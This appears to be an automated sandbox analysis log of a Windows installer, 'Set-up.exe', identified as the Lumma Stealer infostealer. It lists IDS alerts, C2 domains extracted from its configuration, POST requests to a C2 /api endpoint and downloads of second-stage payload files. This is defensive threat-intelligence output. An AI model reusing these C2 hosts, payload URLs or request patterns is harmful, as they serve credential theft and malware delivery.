Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+07C7E146h]	0_2_02867C65
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then jmp eax	0_2_0285BD97
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], E785F9BAh	0_2_0285EDB3

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49705 -> 172.67.192.222:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49705 -> 172.67.192.222:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49711 -> 172.67.192.222:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49711 -> 172.67.192.222:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49742 -> 172.67.192.222:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49753 -> 172.67.192.222:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: shapestickyr.lat
Source: Malware configuration extractor	URLs: talkynicer.lat
Source: Malware configuration extractor	URLs: manyrestro.lat
Source: Malware configuration extractor	URLs: weighappetis.click
Source: Malware configuration extractor	URLs: slipperyloo.lat
Source: Malware configuration extractor	URLs: curverpluch.lat
Source: Malware configuration extractor	URLs: bashfulacid.lat
Source: Malware configuration extractor	URLs: tentabatte.lat
Source: Malware configuration extractor	URLs: wordyfindy.lat

Source: Joe Sandbox View

IP Address: 104.21.84.113 104.21.84.113

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49705 -> 172.67.192.222:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49720 -> 172.67.192.222:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49727 -> 172.67.192.222:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49733 -> 172.67.192.222:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49747 -> 172.67.192.222:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49753 -> 172.67.192.222:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49711 -> 172.67.192.222:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49761 -> 172.67.169.205:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49742 -> 172.67.192.222:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49772 -> 104.21.84.113:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: weighappetis.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 79Host: weighappetis.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=F1NMXUSZOXUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12811Host: weighappetis.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=8IJ0ZHCATYZ4W3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15081Host: weighappetis.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=ZE0Q9JERCQTM7OF889PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19969Host: weighappetis.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=ZR89T8OTOQ6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1184Host: weighappetis.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=56WPGE1BP9B0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1087Host: weighappetis.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 114Host: weighappetis.click
Source: global traffic	HTTP traffic detected: GET /sdgjyut/psh.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: neqi.shop
Source: global traffic	HTTP traffic detected: GET /int_clp_ldr_sha.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: kliptizq.shop

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /sdgjyut/psh.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: neqi.shop
Source: global traffic	HTTP traffic detected: GET /int_clp_ldr_sha.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: kliptizq.shop

Source: global traffic	DNS traffic detected: DNS query: weighappetis.click
Source: global traffic	DNS traffic detected: DNS query: neqi.shop
Source: global traffic	DNS traffic detected: DNS query: kliptizq.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: weighappetis.click

Source: global traffic

HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Tue, 24 Dec 2024 00:18:37 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XvlHHMKzdPrmr%2B8hArqcQ%2BQgJpsMpIJi6xDJzp62hNWLCWtiIPGd6I9HncLdC%2B6Op%2Bg8BwLsr9W0ixiXj0fTVFtdV9FXMU%2B9Bg0%2Ff3OgnXgx53MJHqNTqgdU93YYAtok"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f6c6a468cd6de9b-EWR

Source: 'Set-up.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCodeSigningCA-1.crt0
Source: 'Set-up.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: 'Set-up.exe, 00000000.00000003.2330854799.00000000034DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 'Set-up.exe, 00000000.00000003.2330854799.00000000034DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: 'Set-up.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: powershell.exe, 00000004.00000002.2511754540.0000000006F72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mi
Source: powershell.exe, 00000004.00000002.2511074213.0000000006F0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: powershell.exe, 00000004.00000002.2511754540.0000000006FA8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2518893066.0000000007E78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: 'Set-up.exe, 00000000.00000003.2330854799.00000000034DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 'Set-up.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: 'Set-up.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: 'Set-up.exe, 00000000.00000003.2330854799.00000000034DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 'Set-up.exe, 00000000.00000003.2330854799.00000000034DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 'Set-up.exe	String found in binary or memory: http://crl3.digicert.com/assured-cs-g1.crl00
Source: 'Set-up.exe	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: 'Set-up.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: 'Set-up.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: 'Set-up.exe, 00000000.00000003.2330854799.00000000034DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 'Set-up.exe	String found in binary or memory: http://crl4.digicert.com/assured-cs-g1.crl0L
Source: 'Set-up.exe	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: 'Set-up.exe, 00000000.00000003.2330854799.00000000034DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: powershell.exe, 00000004.00000002.2500612887.0000000004EF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://go.micros
Source: powershell.exe, 00000004.00000002.2507397516.0000000005955000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: 'Set-up.exe, 00000000.00000003.2330854799.00000000034DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 'Set-up.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: 'Set-up.exe	String found in binary or memory: http://ocsp.digicert.com0L
Source: 'Set-up.exe	String found in binary or memory: http://ocsp.digicert.com0N
Source: 'Set-up.exe, 00000000.00000003.2330854799.00000000034DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: powershell.exe, 00000004.00000002.2500612887.0000000004A46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000004.00000002.2500612887.0000000004A46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000004.00000002.2500612887.00000000048F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2502099169.0000000004FD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000004.00000002.2500612887.0000000004A46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000004.00000002.2500612887.0000000004A46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: 'Set-up.exe	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: 'Set-up.exe	String found in binary or memory: http://www.innosetup.com/
Source: 'Set-up.exe	String found in binary or memory: http://www.remobjects.com/ps
Source: 'Set-up.exe, 00000000.00000003.2330854799.00000000034DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 'Set-up.exe, 00000000.00000003.2330854799.00000000034DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: 'Set-up.exe, 00000000.00000003.2284873769.0000000003508000.00000004.00000800.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2283860869.000000000350A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000004.00000002.2500612887.00000000048F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2502099169.0000000004FD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000004.00000002.2500612887.0000000004A46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: 'Set-up.exe, 00000000.00000003.2284873769.0000000003508000.00000004.00000800.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2283860869.000000000350A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 'Set-up.exe, 00000000.00000003.2284873769.0000000003508000.00000004.00000800.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2283860869.000000000350A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 'Set-up.exe, 00000000.00000003.2284873769.0000000003508000.00000004.00000800.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2283860869.000000000350A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 00000004.00000002.2507397516.0000000005955000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.2507397516.0000000005955000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.2507397516.0000000005955000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: 'Set-up.exe, 00000000.00000003.2284873769.0000000003508000.00000004.00000800.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2283860869.000000000350A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 'Set-up.exe, 00000000.00000003.2284873769.0000000003508000.00000004.00000800.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2283860869.000000000350A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 'Set-up.exe, 00000000.00000003.2284873769.0000000003508000.00000004.00000800.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2283860869.000000000350A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powershell.exe, 00000004.00000002.2500612887.0000000004A46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: 'Set-up.exe, 00000000.00000003.2492364581.0000000000867000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kliptizq.shop/
Source: 'Set-up.exe, 00000000.00000003.2492364581.0000000000867000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kliptizq.shop/JiF
Source: 'Set-up.exe, 00000000.00000003.2492364581.0000000000867000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kliptizq.shop/Si
Source: 'Set-up.exe, 00000000.00000002.2494931378.00000000008AF000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2492013445.00000000008C4000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2492364581.00000000008A7000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000002.2494982535.00000000008C4000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2492364581.0000000000867000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kliptizq.shop/int_clp_ldr_sha.txt
Source: 'Set-up.exe, 00000000.00000003.2492364581.0000000000867000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kliptizq.shop/int_clp_ldr_sha.txtEe
Source: 'Set-up.exe, 00000000.00000003.2492364581.0000000000867000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kliptizq.shop/int_clp_ldr_sha.txtNot_NuXix
Source: 'Set-up.exe, 00000000.00000002.2494931378.00000000008AF000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2492364581.00000000008A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kliptizq.shop/int_clp_ldr_sha.txtP
Source: 'Set-up.exe, 00000000.00000003.2492364581.0000000000867000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kliptizq.shop/tiEiM
Source: 'Set-up.exe, 00000000.00000002.2494931378.00000000008AB000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2492364581.00000000008A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://neqi.shop/
Source: 'Set-up.exe, 00000000.00000003.2492364581.0000000000845000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000002.2494931378.00000000008AB000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2492364581.00000000008A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://neqi.shop/sdgjyut/psh.txt
Source: 'Set-up.exe, 00000000.00000002.2494931378.00000000008AB000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2492364581.00000000008A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://neqi.shop/sdgjyut/psh.txtbleE
Source: 'Set-up.exe, 00000000.00000002.2494931378.00000000008AB000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2492364581.00000000008A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://neqi.shop/sdgjyut/psh.txti
Source: powershell.exe, 00000004.00000002.2507397516.0000000005955000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: 'Set-up.exe, 00000000.00000003.2331972784.00000000037ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 'Set-up.exe, 00000000.00000003.2331972784.00000000037ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 'Set-up.exe, 00000000.00000003.2492013445.00000000008C7000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2377401090.00000000034C7000.00000004.00000800.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2491954191.000000000357A000.00000004.00000800.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000002.2494982535.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2282938452.0000000000853000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2282938452.000000000088A000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2354266566.00000000008C7000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2354061225.0000000003558000.00000004.00000800.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2377530287.00000000008C7000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000002.2498920865.000000000357A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weighappetis.click/
Source: 'Set-up.exe, 00000000.00000003.2330195563.00000000008C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://weighappetis.click/#
Source: 'Set-up.exe, 00000000.00000003.2492364581.0000000000892000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000002.2494376913.0000000000893000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2492364581.0000000000845000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000002.2494376913.0000000000871000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2282938452.000000000088A000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2354266566.00000000008C7000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2330195563.00000000008C4000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2356470155.00000000008C7000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2492364581.0000000000867000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2377715589.000000000086B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://weighappetis.click/api
Source: 'Set-up.exe, 00000000.00000003.2377715589.0000000000843000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://weighappetis.click/apiQ
Source: 'Set-up.exe, 00000000.00000003.2282938452.000000000088A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://weighappetis.click/apic
Source: 'Set-up.exe, 00000000.00000003.2492364581.0000000000892000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000002.2494376913.0000000000893000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://weighappetis.click/apiz
Source: 'Set-up.exe, 00000000.00000003.2330195563.00000000008C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://weighappetis.click/k
Source: 'Set-up.exe, 00000000.00000003.2377530287.00000000008C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://weighappetis.click/ows
Source: 'Set-up.exe, 00000000.00000003.2330195563.00000000008C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://weighappetis.click/s
Source: 'Set-up.exe, 00000000.00000003.2308432770.00000000034CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weighappetis.click:443/api
Source: powershell.exe, 00000006.00000002.2502099169.0000000005294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: powershell.exe, 00000006.00000002.2502099169.0000000005379000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landinghZZld
Source: powershell.exe, 00000006.00000002.2500891120.000000000315B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2501240684.00000000031F3000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2501814506.0000000003340000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2502066584.0000000004C80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landingid=brand_linktarget=_blank
Source: powershell.exe, 00000006.00000002.2500891120.000000000318E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landingmancer
Source: powershell.exe, 00000006.00000002.2502099169.0000000005379000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phish
Source: powershell.exe, 00000006.00000002.2502099169.0000000005379000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishhZZl
Source: powershell.exe, 00000006.00000002.2502099169.0000000005379000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-atX)
Source: powershell.exe, 00000006.00000002.2502099169.0000000005294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: powershell.exe, 00000006.00000002.2500891120.000000000318E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/b
Source: powershell.exe, 00000006.00000002.2500891120.000000000315B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2501240684.00000000031F3000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2501814506.0000000003340000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2502066584.0000000004C80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/class=cf-btnstyle=background-c
Source: 'Set-up.exe	String found in binary or memory: https://www.digicert.com/CPS0
Source: 'Set-up.exe, 00000000.00000003.2284873769.0000000003508000.00000004.00000800.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2283860869.000000000350A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 'Set-up.exe, 00000000.00000003.2284873769.0000000003508000.00000004.00000800.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2283860869.000000000350A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 'Set-up.exe, 00000000.00000003.2331820506.00000000034DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: 'Set-up.exe, 00000000.00000003.2331972784.00000000037ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: 'Set-up.exe, 00000000.00000003.2331972784.00000000037ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: 'Set-up.exe, 00000000.00000003.2331972784.00000000037ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443

Source: unknown	HTTPS traffic detected: 172.67.192.222:443 -> 192.168.2.6:49705 version: TLS 1.2
